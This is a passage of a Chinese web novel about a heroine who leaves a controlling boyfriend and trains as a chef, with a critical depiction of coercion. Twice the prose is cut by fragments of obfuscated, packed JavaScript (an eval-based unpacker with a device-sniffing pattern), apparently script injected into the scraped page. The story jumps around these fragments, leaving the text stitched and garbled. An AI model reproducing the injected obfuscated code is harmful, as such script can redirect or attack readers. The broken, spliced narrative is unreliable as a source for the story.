夏星澜觉得奇怪,这位客人为何对每道菜都刨根问底。 “你这道龙井虾仁味道很独特。” 女客人又夹起来吃了一口,“我很久没回国了,这道菜让我想起了我的家乡……” 夏星澜道:“这道菜也是我母亲的配方,虾被茶油浸泡过,所以茶香浓郁。” 之后女客人便没再说话,把病号饭吃的干干净净。 夏星澜端着餐盘准备离开的时候,被她叫住。 “等一下,你叫什么名字?” “夏星澜。” 女客人扬了扬下巴:“你手艺不错,想不想做我的助手?” 夏星澜皱了皱眉,没太懂她的意思。 女客人这才站起身,抖了抖浴袍,自我介绍道:“我是中餐厅的新主厨,你可以叫我Vicky,我正缺个助手,你有兴趣吗?” 夏星澜手中的餐盘顿时一抖:“可是我没有专业学过厨艺,也没有经验……” Vicky挑了下眉:“这些都不重要,在我的厨房里,不需要花架子。我只给你一次机会,来不来?” 人生的转折总是发生在猝不及防之间,有时一场意外、一顿饭、一句问话,或许就生长出了新的枝杈…… 对方抛出的橄榄枝摆在面前,是抓住还是放弃? 夏星澜捏着餐盘的手陡然一紧:“我……” “什么?你居然拒绝了她?” 中餐厅里,姜婋一阵哀嚎。 夏星澜点了点头,神情犹豫。 姜婋痛心疾首:“你知不知道,这位Vicky刘,是我每日按头安利,说服褚董事长高薪聘请的米其林摘星主厨,多少人想做她的助理都没机会,你居然拒绝了她?她可是……” 姜婋无奈咽下后半句,“她可是我为你寻找的女性role model啊!” 她后悔莫及忙呼叫系统:“原来夏星澜救下的客人就是新主厨,我当时真是眼瞎了,怎么没认出这尊大佛呢?” 系统:“因为Vicky刘简历上的照片是几年前的,她这几年在国外生活,外形变化很大。” 就在姜婋兀自后悔时,夏星澜低头道:“我觉得我不够资格……做她的助理……” 姜婋鼓励道:“自信点夏星澜,你不要还没开始就气馁呀!之前只是我觉得你做菜很有天赋,现在连你们中餐厅的主厨,这样的专业人士都觉得你适合去厨房工作,你为什么不相信自己呢?” 夏星澜小声说:“可是我没有经验……” “哪个厨师不都是从没经验过来的?我看得出来,你做饭的时候很享受很开心。你之前不是还说过,只有做菜的时候,才会觉得你妈妈的配方没有失传,就好像她还在一样。” “可是,”夏星澜叹了口气:“我已经拒绝了。” “那又怎么样?再去争取啊!” 夏星澜垂着头,眼神充满了对自我的怀疑。 这一刻,姜婋终于明白,夏星澜所有的推脱和借口,归根结底,是因为她对自己的厨艺没有一个清醒的认知。 在这个世界上,太多女性是在否定与打压中长大的,一次次的忽视和贬低,早已让那个叫作“自信”的东西,被“气馁”与“怀疑”悄然吞噬。 夏星澜,需要一次真正的肯定。 姜婋眼底划过一抹决然,对她说道:“你等我一下,我马上回来。” 她快步离开,不一会儿,便换上一身酒店制服,推着一辆甜点车重新走来。而甜品车上摆放的正是姜婋痛经时,夏星澜给她的巧克力。 当时姜婋说好吃,夏星澜就给她多做了几盒,她本来打算下次月经再吃,没想到此刻派上了用场。 如今,这些巧克力被放到造型别致的餐盘中,点缀上鲜花丝带,宛如一件件精美的艺术品。 人声熙攘的餐厅中,姜婋忽然高声宣布:“各位尊贵的客人,我是酒店‘焕新计划’的专项组长,今天非常荣幸,请到了一位法国著名甜点大师,为大家制作了一批限量手工巧克力。现在可以免费试吃,不过,有一个小小条件,吃完请一定留下您的反馈!” 话音一落,不少好奇的客人纷纷围拢过来。 一个小女孩率先拿起一颗巧克力咬了一口,眼睛顿时亮了:“哇,好好吃呀!” 随后,一位带着孩子的母亲也品尝了一块,连连点头:“入口即化,甜度刚刚好。” 赞叹声接连不断,还有人追着问:“能不能购买?这可比我去欧洲旅行时吃的手工巧克力还好吃。” 见时机差不多,姜婋微笑打断众人:“感谢大家喜欢。不过,我要向大家坦白一件事。” 全场一静。 姜婋扬声道:“这些巧克力,其实并不是出自什么法国大师之手。” 她指向角落里有些局促的夏星澜:“而是出自我们酒店的行政主管,前任前厅经理——夏星澜。” “她厨艺极好,甜点、中餐都做得一流,可她一直对自己充满怀疑,所以我才用这个办法,帮她找回一点自信。我想请大家帮忙,如果你们真心喜欢这些巧克力,能不能用你们的掌声,给她一点鼓励?” 短暂的沉默后,四面八方爆发出热烈的掌声。 有酒店常客打趣道:“夏经理的手艺真没得说,上周我肠胃炎犯了,吃了她做的病号餐,恨不得天天生病呢!” 众人闻声大笑。 站在角落里的夏星澜,怔怔地看着这一切,耳边是铺天盖地的夸奖声,她有一种不真实的恍惚感。 这时,姜婋走到她面前,笑着拍拍她的肩膀:“夏星澜,你看,大家都觉得你很棒,除了你自己。” 她捧着剩下的巧克力,认真道:“我看过的一部电影,里有句经典台词——‘生活就像一盒巧克力,你永远不知道下一块是什么滋味’。但前提是,你要做出选择,拿起一块,放进嘴里,才能品尝到滋味。” “夏星澜,人生虽然充满未知,但有些滋味我们可以使之发生。现在这盒巧克力就摆在你面前,下一块是什么滋味,将由你来决定。” 姜婋说罢,递上餐盘。 就在夏星澜纠结之时,那块抵在脖颈的碎玻璃倏地出现了。 她知道,此刻必须要诚实面对自己的内心,她努力感受,心底虽有对未知的怯懦和恐惧,但也涌出一股炽热的期待。 终于,夏星澜拿起一颗巧克力,放进嘴里,朝姜婋笑道:“我再去争取一次!” 晚餐时段终于结束,中餐厅新主厨的第一天工作也顺利完成。 主厨Vicky刘脱下沾满油烟的围裙,甩了甩被汗水浸湿的衣领,独自走向酒店后勤区的吸烟角。 夜色沉静,远处的霓虹闪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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Vicky的烟正好抽完了,她按灭烟头道:“这样吧,我们两个比掰手腕,你赢了,我就再给你一次机会。” 夏星澜瞅了一看Vicky那结实的胳膊,谁赢谁输,简直一目了然。看来对方不想直接拒绝,给自己还留了一点余地。 虽明知必输无疑,但她还是点头道:“好。” 遮阳伞下的方桌前,夏星澜和Vicky各坐一边,姜婋站在中间当裁判。 二人的手臂在桌上碰撞,手掌紧紧相扣,准备蓄力。 姜婋用眼神给夏星澜加油,说道:“开始!” 两人瞬间发力,夏星澜的手腕旋即向桌面倒去。 Vicky常年在厨房工作,颠勺炒菜、剁肉搬货,自然练就了一身好臂力。 夏星澜拼尽全力抵抗,但也无济于事,对方力道强劲,像一堵无法撼动的墙。 那一刻,她突然非常后悔,自己为什么不平时多吃肉蛋奶?!为什么不多运动?!姜婋送的哑铃为什么被自己放在一边?! “啪”地一声,夏星澜的手被按在桌上。 “你输了。”Vicky道。 夏星澜垂眸,叹了口气。 姜婋连忙道:“主厨,你再给她一次机会吧,夏星澜真的很有天赋!” Vicky甩了甩手腕:“你以为,站在厨房的人,哪个没点天赋?能站在这里工作的人,都是大浪淘沙一步一步选过来的,天赋在这一行并不是什么稀有的东西。” 她说着低头看了看自己手背的伤痕,挑眉:“你刚刚是不是用指甲划我了?” 夏星澜被问得一愣,她方才拼尽全力,可能连指甲也用力了。 “对不起啊……我只是想拼尽全力赢你……” Vicky嘴角一扬,眼神忽然认真:“有天赋的人不一定能留下来,但是想赢的人,或许可以。” 夏星澜难以置信:“您的意思是?” Vicky反问道:“你刚才失败的那一刻,脑子里在想什么?” 夏星澜眼眸微动。 “把那种不甘、遗憾、痛苦,全部记住。带着再也不要感受这种处境的觉悟,明天来厨房当学徒。记住,你现在不是我的助理了,是从零开始的学徒。” Vicky说罢,转身离开。 留在原地的二人愣了愣,对视一眼。 下一秒姜婋就激动地抱住她:“夏星澜,太好了,我就知道你肯定可以!” 夏星澜只觉心跳声在耳畔轰鸣,过往的任何一刻都没有此刻令她狂喜,隐约间她意识到自己正接近某种非常重要的东西,仿佛只要手指再稍微用力一够,就可以触碰……可那究竟是什么呢? 无论如何,这颗巧克力的滋味,她终于品尝到了。 18. 18 为了庆祝进入后厨,姜婋和夏星澜当即决定,去酒店最贵的旋转餐厅大吃一顿,给夏星澜的事业“转运”。 路上,姜婋故意放慢脚步,在脑中里悄悄跟系统搭话: “系统,刚才的情节是新出现的吧?” 系统:“当然。这是因你和夏星澜而出现的全新剧情。” “因我们?” 系统:“所谓‘牵一发而动全身’。正因为你提议对罗曼蒂克庄园酒店升级改造,并强烈建议褚董事长聘请女主厨Vicky刘,所以这个新人物登场了。又因夏星澜在泳池救下了新主厨,并且为她做了病号餐,多重因果交织之下,触发了「夏星澜前往中餐厅工作」这一新剧情线。” 姜婋思忖:“你的意思是说,每件事情的发生都有无数的巧合和概率。如果夏星澜没有去露天泳池,如果她不会游泳没有救下新主厨,如果她救下之后转身就走,这一切也就不会发生……” “是的。” “你之前说过,女主要生发出人生之路,就必须要有成长。那这条线算是夏星澜的成长线吗?” 系统:“衡量的标准有以下法则:第一,故事中必须出现至少两名女性,而且她们必须有名字。第二,这些女性之间必须有对话。第三,这个对话的主题不是男性,而是她们自己的热爱与追求。那么,刚才的情节符合女主成长线的标准。” 姜婋听罢,反而笑了:“你说不是判断电影是否性别歧视的贝氏测试法吗?” “本系统根据‘贝克德尔-华莱士测试’进行了调整升级。” 姜婋展颜:“有了成长线,不就意味着夏星澜离她的人生之路越近了!” 这时,前方传来夏星澜的声音:“婋婋,你刚不是叫唤肚子饿了吗,怎么还走的这么慢?” “来啦!” 姜婋朝夏星澜跑过去,两人拉着手一起往前走,两道身影融入夜色,仿佛已成为漫天星光的一部分。 两个人来到顶楼旋转餐厅,原本开心的夏星澜,看着周边环境一时有些伤神。 姜婋心头“咯噔”一下:糟了,选错地儿了!这不正是凌昊天跟夏星澜告白的地方吗? 她连忙递上菜单,打圆场道:“为了庆祝你实现梦想,我请客!” 夏星澜收回思绪,正要翻阅菜单时,电话却响了。 姜婋心中又是一沉,不会又是那瘟神吧? 果不其然,夏星澜接起电话,片刻后挂了电话,低声说:“是昊天,他在小花园,说想和我谈谈。” 姜婋心中连骂自己几句,真是怕什么来什么,试探问道:“你要过去找他吗?” “不了,我答应你了,要和你一起庆祝——” 可话音未落,外面忽然电闪雷鸣,毫无预兆的下起了大雨。 姜婋心道,方才还满天繁星,此刻就浓云密布,真不愧是浪漫爱世界,连天气都随着男主角的情绪变化啊…… 见夏星澜看着窗外,表情抑制不住的担忧,姜婋叹了口气:“你想去就去吧。” 夏星澜回头看她,有点愧疚:“对不起。” 姜婋直视着她的眼睛:“别和我说对不起,夏星澜,任何时候你都要把自己放在第一位,诚实面对自己内心的感受,我不希望你跟我在一起吃饭的时候也是心不在焉的。” 夏星澜点点头:“我很快回来。” 姜婋看着她跑远的背影,心中刚因生发出新故事线而涌起的欣喜,已被这场突如其来的大雨给浇灭了。 夏星澜撑着伞一路奔跑,小花园里的水洼被她踩出一串串涟漪。 夜雨滂沱,她远远就看见凌昊天站在雨中一动不动,仿佛一尊石像。 她忙不迭跑过去,将伞撑到他头顶,靠近时才闻到他身上的酒气,眉头顿时拧紧:“你喝了酒怎么还淋雨呢?不怕生病吗?” “对不起……” 凌昊天声音沙哑,脸上水珠成线,也不知是泪水还是雨水。 “是我不好,我不应该没经你的同意就把你调换部门,我今天才知道你在行政部受了很多委屈……你怎么不跟我说呢?你一定是怕我担心,对不对?我不该找人去威胁你父亲,我只是想保护你,所以才想到这个办法……” 夏星澜没想到凌昊天会突然示弱,外加“女主必为男主心动法则”的运转,她一下子缴械投降。 凌昊天的手覆上来,语气近乎哀求:“星澜,求你别再生我的气了,好吗?我真的不能失去你……我看见你和凌辰风在一起,真恨不得冲上去,把你用锁链拴在我身边,谁也带不走……” “我只是帮他一个忙。” 凌昊天拉她的手又紧了一紧:“帮忙也不行,我会吃醋。” 看凌昊天可怜兮兮的模样,好像淋了雨的流浪狗,夏星澜顿时心软:“我知道了。” 可凌昊天并不满意这个答案:“我要你答应我,再也不见他。” “昊天,他帮过我,我不能……” 凌昊天突然发现夏星澜的手指上空空如也,语气陡然一变:“我送你的戒指呢?” “我摘掉了。” “为什么?” 夏星澜抽回手:“不想戴,就摘了。” 凌昊天骤然钳住她的肩膀,力道大得几乎要捏碎她的骨头:“夏星澜,为什么我们在一起后你像变了一个人?” 夏星澜边挣扎边心道:“这应该是我问你的吧?” 凌昊天情绪激动:“你明知道我不喜欢凌辰风,你却围着他转,你明知道白潇潇不怀好意,却整天和她厮混!我送你的衣服鞋子,你是一件不穿,就连我送你的戒指你都懒得戴。夏星澜,你别忘了,你是我的女朋友!” 刹那间,“女主必为男主心动法则”好像被那块“我本位”的碎玻璃再次卡住了,开始无法控制住夏星澜的个人意志。 她努力挣脱他的铁臂,大声反问:“难道我见什么人,穿什么衣服,也要得到你的同意?你随便调换我的工作,找人去威胁我父亲的时候,怎么不跟我商量?” 凌昊天登时愣住,夏星澜居然敢反抗他的意志?甚至还敢和他大喊大叫? 趁他愣神间,夏星澜甩开他的手臂,转身要走,脚步却因湿滑的地面顿了一下。 凌昊天怒火中烧,一把将她扯入怀里,不管不顾地吻了上去! 雨伞掉落,大雨倾泻砸在夏星澜的脸上、身上,她瑟瑟发抖。 这个吻带着酒气,带着掠夺,没有尊重,没有温柔,令夏星澜非常恶心。甚至这个强硬的吻还磕破了她的嘴唇,血腥味在舌尖弥漫,她不想接这个吻,她只想逃。 她身体的每一寸都在抗拒着,可对方的手臂却像铁链一样锁住了她。 就在她几乎崩溃之际—— 一道惊雷劈开夜幕,一把雨伞猛地砸了过来,将凌昊天推倒在地! “凌昊天!” 姜婋怒不可遏地站在雨中,指着他的鼻子吼道:“你感觉不到夏星澜在抗拒吗?” 凌昊天看到姜婋气不打一处来:“我是她男朋友,轮得到你来管?” “就算你是她老公也不行,婚内□□也是□□!你不经过她同意就强吻她,就是在性侵!” 凌昊天刚要开口,姜婋猛地一脚踹在他膝弯,逼他又跪倒回地上。 “你以为你假装深情,就能掩盖你犯罪的事实吗?” 姜婋啐了一口:“凌昊天,亏你还是男主角,竟然用这种强迫别人的下三滥手段,我真是瞧不起你,多看你一眼都觉得恶心。你就自己在雨里清醒清醒吧!” 她撑起伞,一把拉住还在瑟瑟发抖的夏星澜——“我们走!” 夜雨未歇,姜婋的套房里灯光昏黄。 夏星澜裹着毯子蜷缩在沙发角落,双臂紧紧抱住自己。 姜婋走过来,轻轻用浴巾替她擦头发。可指尖才碰到她,夏星澜便猛地一缩,像触电般避开。 “你还好吗?” 夏星澜木讷地点了点头。 姜婋一时间不知如何安慰,只能小心翼翼地伸手抱住夏星澜,安抚地拍了拍她的背:“没事了……你现在很安全……” 夏星澜将脸埋在她的颈侧,声音发颤:“婋婋,你会对我感到失望吗?” “为什么?” “因为我不像你那么洒脱,那么坚强,那么勇敢……我今晚甚至都没有力气推开他。” 姜婋握住她冰凉的手,语气坚定: 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“夏星澜,这不是爱。如果一个人对你连最基本的尊重都做不到,又谈何平等的爱呢?他对你的好,不过是为了更好的控制你,赏给你的几根胡萝卜罢了。 “也许他会给你买昂贵的衣服,准备绚丽的烟花,但这么做只是把你当成美丽的展品让他脸上有光。也许他会对你道歉、服软、说漂亮话,什么舍不得你心疼你,翻译过来只是希望你能像拉磨的驴一样,永远服侍在他的周围。对于他来说,伴侣从来都不是一个独立完整的人,所以他不会以你真正需求的方式支持你的愿景和梦想。 “夏星澜,你试想一下,当你努力工作的时候,你觉得凌昊天会主动承担家务吗?你要独处的时候,你觉得他会主动看顾孩子吗?如果你现在告诉他,你的梦想是成为了不起的主厨,你觉得凌昊天是会义无反顾的支持你,还是觉得你痴人说梦呢?” 夏星澜嘴唇紧绷,虽并未开口,但那个答案已经呼之欲出。 刚才,她甚至都没有勇气告诉凌昊天,自己要去厨房工作的好消息…… 姜婋又问:“但如果是凌昊天对你说,他要带领罗曼蒂克庄园成为世界顶级酒店,你会怎么做?你一定会全身心支持他,对吗?所以你看出差别了吗?” 夏星澜眉心紧蹙,点了点头。 这一刻,姜婋下了一个决定,虽然很残忍,但她想告诉夏星澜这个言情世界的真相。 她深吸一口气,语速变缓,却咬字极清: “一直以来,男人跟女人都生活在这个世界建立的两个星球,说难听点,就是两座监狱。 “男人的监狱让男人要阳刚、暴力、竞争、压抑情绪。女人的监狱让女人听话、懂事、牺牲自己成全别人。而‘浪漫爱’,是女性监狱的集体想象,偏偏与男人无关。 “男人在男性监狱里面所习得的,从来都不是浪漫爱的行为模式。如果你想知道男人是怎么认识女人的,只要听一听男生宿舍的聊天就知道了,无外乎是色情视频、女性镶边的影视作品、把女性拆解成各个部位,然后打分品评…… “我长大之后才发现,小时候期待在男人身上看到的,我所有被灌输的浪漫爱桥段,无一发生,反而是女性之间能理解那所谓的‘浪漫爱’。这就是这个世界最吊诡的地方。男性不懂得女性所期待的‘浪漫’,女性也不懂得男性所期待的‘爱’。” 姜婋举例道:“就比方说刚才,你虽然是凌昊天的女朋友,但他却默认你无时无刻都要成为他□□望释放的对象。我们女人大部分的时候仅仅是需要一个拥抱,一个抚摸,但我们却不得不承担更多男性的欲望……” “我们在两种教育下长成,势必无法理解对方,不平等的结构和根深蒂固的思想,又让我们关闭了倾听对方的耳朵。所以我们争吵不休,却不想办法拆掉这两座监狱。” 夏星澜红着眼圈听完,忽然反问:“那我们该怎么办?” “我们唯一能做的,是先看清这座监狱的存在,然后……” 姜婋伸出手,掌心朝上,像是在邀请。 “一起越狱!” 19. 19 姜婋的这番话,夏星澜其实没有完全听懂。 她觉得自己既清醒又混沌,好像那块碎玻璃没有抵在脖颈,而是在脑子里割断了她某些固有的认知,但新的观念还未长出血肉,所以她一时还没梳理清楚。 即便如此,夏星澜凭信任和直觉,还是拉住姜婋的手:“好!” 姜婋笑了:“那我们现在就是越狱姐妹联盟了!” 次日,一份从行政部发出的调岗申请,辗转几道审批流程后,终于被递交到总裁办。 凌昊天点开文件,当即一震—— 夏星澜要去中餐厅当学徒?! 昨夜的大雨把凌昊天浇得自尊全无,他并未反思自己的所作所为,反而只怪夏星澜性情大变,不可理喻。 这种失控感令他恐惧,而一旦恐惧就会更想控制。 因为在父权制之下,控制既是恐惧的来源,也是恐惧唯一的解决方案。 凌昊天在控制与恐惧的旋涡中挣扎,渐渐失去了理智。 行政部的大门被猛地推开,凌昊天大步冲进来,将夏星澜拽了出来。 他生气质问:“你去中餐厅工作的事情怎么不跟我商量?” 因为昨晚的事,夏星澜也怄着气,凌昊天不向自己道歉,居然还敢来兴师问罪? 她虽一向温和,但此刻也是毫不相让,甚至反讽地回敬凌昊天当初说过的话: “我以为,这对你来说是一个惊喜呢?” 凌昊天当然听出她语气中的嘲讽:“夏星澜,你疯了吧?” “我只是想去做一份自己喜欢的工作,怎么就疯了?” “凌氏集团的少奶奶,怎么可以是一个厨子?” 那一刻,夏星澜在才意识到,自从两个人开始交往,凌昊天就没有把自己看成是“夏星澜”这个独立的人。 她的梦想,她的选择,她的工作,全都必须围绕“女朋友”、“妻子”、“少奶奶”这些他设定的角色展开。 而在凌昊天眼中,厨师是不入流的职业。 可她的母亲,正是靠一双手、一把菜刀,把她养大。 夏星澜直视着他反问:“我做厨师让你觉得丢人吗?” 凌昊天一时语塞,别开视线:“我只是怕你太辛苦。” 夏星澜道:“我并不觉得辛苦,让我坐在行政部无所事事,反而更消耗我。这个机会是我好不容易争取到的,不管你怎么说,我都要试一试。” 凌昊天高声道:“你试也没有用,你根本就做不了厨师!” 夏星澜怔住了,难以置信地看着他,脑中闪过昨夜姜婋的话—— “如果你现在告诉他,你的梦想是成为了不起的主厨,你觉得凌昊天是会义无反顾的支持你,还是觉得你痴人说梦呢?” 她虽设想过,凌昊天未必会全然支持,但没料到他居然会彻底否定自己。 夏星澜声音有些颤抖:“昊天,你生病时吃过我为你煮的粥,你当时说那比任何山珍海味都要美味,你还夸我做的比酒店的厨师不知强了多少倍,你忘了吗?” 凌昊天皱眉:“一码是一码。” 夏星澜冷笑:“为你而做就是珍馐美味,不为你而做就一文不值。原来这就是你的逻辑?” 凌昊天不想再讲道理,直接搬出总裁身份,强硬道:“你这份申请,我是不可能通过的!” “随便你……”夏星澜坚定道,“就算你开除我,我也要去后厨。” 她转身要走,凌昊天一把狠狠钳住她的手腕:“你给我站住!” 那一瞬的力道让她痛得皱起眉头。 ——“说不,是你的权利。” 几乎是下意识,她用力甩开凌昊天的手,这次换凌昊天一脸愕然。 夏星澜揉了揉手腕,语气平静:“我要去后厨了,晚点再谈吧。” 身后传来凌昊天的咆哮声:“夏星澜,你变了!你是不是被白潇潇灌了什么迷魂汤?” 每个字都像是雷声滚过耳际,但夏星澜已不再恐惧,这一刻,任何法则都无法将她控制。 她转身朝凌昊天道:“我没有变,或许我本来就是这样。” 说罢转身离开,留下愣在原地的凌昊天。 可这一刻,凌昊天终于恢复了一丝理性,意识到他对夏星澜的第二次心动,正是那碗雪中送炭的热粥,这次争吵无疑毁掉了他记忆中那个美好时刻…… 曾经那个像暖阳一样散发着热量,对自己关怀备至的夏星澜去哪了呢? 还是说一切都是自己的幻想,这样的夏星澜根本就不存在呢? 而渐渐走远的夏星澜也意识到,自从她开始把自己的感受放在第一位,不再迎合他人的喜好说违背内心的话,那块抵在她脖颈的玻璃碎片就消失了。 她不知道的是,一同消失的还有那根植在潜意识里的浪漫爱法则。 因为「我本位意识」的觉醒,正是「女主必为男主心动法则」的克星。 原本她很恐惧,可当她真的开始顺从内心做自己后,这种感觉竟如此轻盈美好。 她揉着手腕,嘴角扬起一抹雀跃的笑意。 在中餐厅工作的第一天,就给了夏星澜一个结结实实的下马威。 她终于切实体会到了厨房就像战场一样,油烟弥漫,热气蒸腾。 这不仅是和自己的战争,更是和时间的赛跑。她手忙脚乱地切菜、配料,可动作总是慢半拍,完全跟不上消耗的节奏。 最糟糕的一幕还是发生了…… 她慌乱间没抱稳,一箱刚从冷藏室搬出来的生蚝“哐啷”一声洒在地板,冰水横流,生蚝咕噜噜滚得到处都是。 夏星澜顿时脸色发白,手忙脚乱地跪地捡起。 Vicky走过来,看了一眼,平静问道:“还有备用的吗?” 副主厨摇头:“没了,就这一箱。” 夏星澜心中一沉,糟了。 Vicky思索片刻,然后说道:“换龙虾。夏星澜,用你那道龙井虾仁的做法,帮我准备茶油。” 夏星澜愣了愣,旋即挺直背脊,认真点头:“好!” 突如其来的意外,让夏星澜临危受命,配合主厨完成了一道菜单上没有的“临时菜”。 菜刚端上桌,Vicky便特意招呼夏星澜来到后厨的观察窗边,从这里正好可以看见餐厅。 直到看见客人尝了一口后露出笑容,夏星澜才如释重负地松了口气。 Vicky问她:“你看到了吗?” 夏星澜点头:“客人很满意。” Vicky却笑了,轻轻一指:“我让你看的是那边——” 夏星澜顺着她的手望去,只见中餐厅内不知何时挂上了几块醒目的广告牌:“米其林摘星新主厨:Vicky刘”,下面还有一行小字,“星级学徒:夏星澜”。 她一愣,目光再一转,竟看见姜婋带着前厅部一众员工,换上了新中式制服,在餐厅里忙前忙后。 姜婋耐心地给每一桌客人介绍:“这些菜是由我们新请的米其林主厨Vicky精心制作。而切菜的,可是我们餐厅的新晋学徒夏星澜。您看这刀工,多利落!” 她说着还递上一张星形卡片:“如果您喜欢这道菜,可以写下感受。如果不满意,也请指出来,我们改进。要是觉得这菜丝切得漂亮,也欢迎留言哦!” 夏星澜望着眼前这一幕,胸口像被什么温热的东西填满了,堵得发紧,以至于眼眶不知不觉泛了红。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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姜婋翻阅着,这份菜谱一看就是用了很多年,上面沾着油渍、汗水和汤汁。某一页上记录着,“女儿胃口不佳,特意做了这道四喜烤麸。” 姜婋感慨道:“这不仅仅是你妈妈的菜谱,这也是你妈妈的日记吧?” 夏星澜轻轻叹气:“我小时候肠胃不好,里面很多菜都是我妈妈特意为我改良的。” “如果她知道,你现在女承母业也做厨师了,一定会以你为傲的。” 夏星澜纠正:“我现在还只是学徒而已。” “我相信你,早晚有一天会成为主厨!” 姜婋突然认真道:“夏星澜,我有个喜欢的老师她说过一段让我受益匪浅的话。她说,我们女性缺少的是那种建立一个个小目标,然后实现的自我效能感。我们没有像男孩一样被教导要敢闯、敢拼,所以我们缺少敢想、敢做的自我认同。” 她看着夏星澜的眼睛,想将这股能量和确信传递给她。 “你能成为学徒,也一定可以成为厨师,然后成为主厨。” “你会拥有一间属于自己的厨房,里面的空间和布局依照你的动线和习惯,你抬手就能取到食材,切菜时不用弓着腰,灶台高度刚好,调料就在手边。每一样用具都为你量身定做,那是由你来主导的战场……” 夏星澜闭上眼,脑海中浮现出那个厨房的模样。 她仿佛听见油锅轻响,母亲站在身边,对她竖起大拇指…… 她幻想着那个完美的厨房,母亲的笑脸,不自觉露出了微笑。 20. 20 坚定了成为厨师的目标后,夏星澜每天的工作都格外有动力,开始逐渐跟上厨房的工作节奏。整个人虽然疲惫,却内心却很轻盈。 而姜婋成为了夏星澜的啦啦队,每日在中餐厅宣传新菜品,一时间中餐厅营业额上涨不少。 这天下班后,两人相约一起去西餐厅补那顿庆祝的晚饭。 姜婋下班后还需要和褚董事长汇报工作,所以两人分别前往餐厅。 夏星澜路过小花园的时候,看见满园的戴安娜玫瑰,微微驻足,一转身,却碰见正在拍摄空镜的凌辰风。 凌辰风看见她,笑着问道:“听说你去厨房工作了,怎么样,还适应吗?” 夏星澜道:“很辛苦,但是也很充实。” “真替你开心,” 凌辰风说着声音一沉,“但凌昊天最近情绪不太好,我的广告片剪完了也不敢交给他审,就怕触了霉头,打回来让我重拍!” 夏星澜垂眸:“对不起啊……” “我和你开玩笑呢。”凌辰风收起笑容:“他要找我麻烦,根本不需要理由。” 这句话让夏星澜心中一动。 她记得之前凌辰风也说过,凌昊天报复他就像碾死一只蚂蚁这种话,当时她只觉过于夸张,可现在…… 她犹豫了片刻,还是问出口:“你们虽然同父异母,但毕竟也是有血缘的兄弟,他真的会那样……报复你吗?” 闻言,凌辰风琥珀色的眼眸闪过一丝幽光,仿佛他就在等待这一刻。 “看来你对凌昊天,还是知之甚少。” 他顿了顿,讲述道:“我父亲,也就是凌昊天的父亲,是在一次商业晚会上遇见了我母亲。我母亲当时是刚崭露头角的女演员,父亲为了能跟她在一起就和前妻离婚了,也就是凌昊天的母亲褚明珠。” “结果,褚明珠动用一切办法封杀我母亲,导致她再也无法演戏。对于我母亲来说,演艺生涯是她的全部。事业终结的她只能跟我父亲远赴海外。可我母亲怀我的时候,父亲再次出轨。他在去找那个女人的途中,遭遇车祸去世……” 夏星澜震惊。 “明明我和我母亲才是受害者,但凌昊天和褚明珠却把我们母子当成罪魁祸首,甚至切断了凌家对我们的资助。我母亲没有办法,只能在国外拍一些不入流的广告赚钱养我……巨大的落差让她患上抑郁症,我大学没毕业就出来拍广告挣钱,就是为了给我母亲治病。” 凌辰风眼眶悄然泛红:“不久之前,我母亲确诊了胃癌,我拿到这个广告,也是希望趁此机会回来,让凌昊天和褚明珠放我们母子一条生路……” 听完这些话,夏星澜的心如坠冰窖。 她一方面感同身受于凌辰风跟自己一样不幸的遭遇,另一方面又觉得,她好像从来没有了解过凌昊天…… 夏星澜不知该说什么,只能无力安慰:“对不起,让你回忆这些……” “是我该和你说对不起。” 凌辰风苦笑,“本来这些话我不该和你说的,只是我真的不愿意再看到你这么美好的人,像我母亲一样在悔恨中度过余生。” 他说完微一颔首,便转身离开。 夏星澜愣在原地,凌辰风的一番话信息量太大,令她难以消化。 可就在这时,她的电话突兀响起,正是凌昊天。 她木讷地接起,只听对方道:“夏星澜,我们好好谈一谈吧。” 当夏星澜推开顶楼办公室的门时,里面漆黑一片。 她正要去开灯,角落里忽然响起一道低哑的男声:“星澜,我们……休战吧。” 她手一顿,按亮了开关。 灯光亮起的瞬间,赫然看见凌昊天竟然一脸憔悴的跪在地上。 夏星澜立刻过去拉他:“你这是做什么?” 凌昊天神情懊悔:“是我错了,是我毁了我们之间美好的回忆。我不该约束你那么多,从今往后,你想在哪工作就在哪工作,你想见谁就见谁,我再也不会过问了……” 这番话说得低声下气,似乎是他第一次放下骄傲认错。 夏星澜怔住了,心底涌出愧疚和自责,以至于她没有细想对方话中的漏洞。一个人想在哪工作,想见谁,本身就是她的自由,不该由任何人“施舍”。 “昊天,你先起来好吗?”她轻声说。 “你不原谅我,我就不起来。” 虽然「女主必为男主心动法则」暂时失效了,但凌昊天的「男主光环buff附体法则」依然奏效。 浪漫爱给男主施加了强大光环,令夏星澜被他的示弱狠狠拿捏,只道:“……我原谅你。” 凌昊天得意一笑,站起身,将夏星澜拉进怀里。 那一刻,夏星澜没有抗拒,她几乎要被这场突如其来的“忏悔”打动了。 凌昊天能做到这一步,想必他一定深爱着自己。 一时间,两人甜蜜的往昔闪过她的脑海,刻着自己名字的绚烂烟火;独一无二的星芒戒指;9999朵戴安娜玫瑰;旋转餐厅的浪漫告白…… 正当夏星澜沉迷其中时,她忽然察觉凌昊天鼻尖翕动,仿佛在闻什么。 他推开夏星澜,捂着鼻子:“你身上的油烟味……好重。” 夏星澜愣住,下意识低头闻了闻自己,“可能是我在后厨忙了一天。” 凌昊天转身打开窗户,虽然是个再平常不过的举动,但夏星澜还是感觉受到了侮辱。 凌昊天察觉出夏星澜的不悦,把她拉到沙发边依偎而坐。 “你别生气,我的办公室常年点木质香,突然有新气味我有些不适应。你今天工作怎么样?累吗?” “你怎么不介意我去后厨工作了?”夏星澜语气微妙。 凌昊天握住她的手道:“你喜欢就好。” 他说着将一枚星芒戒指重新戴在她的手指上,贴着她的耳畔道:“这次不要再摘下来了,好吗?” 夏星澜很意外:“你在哪找到的?” 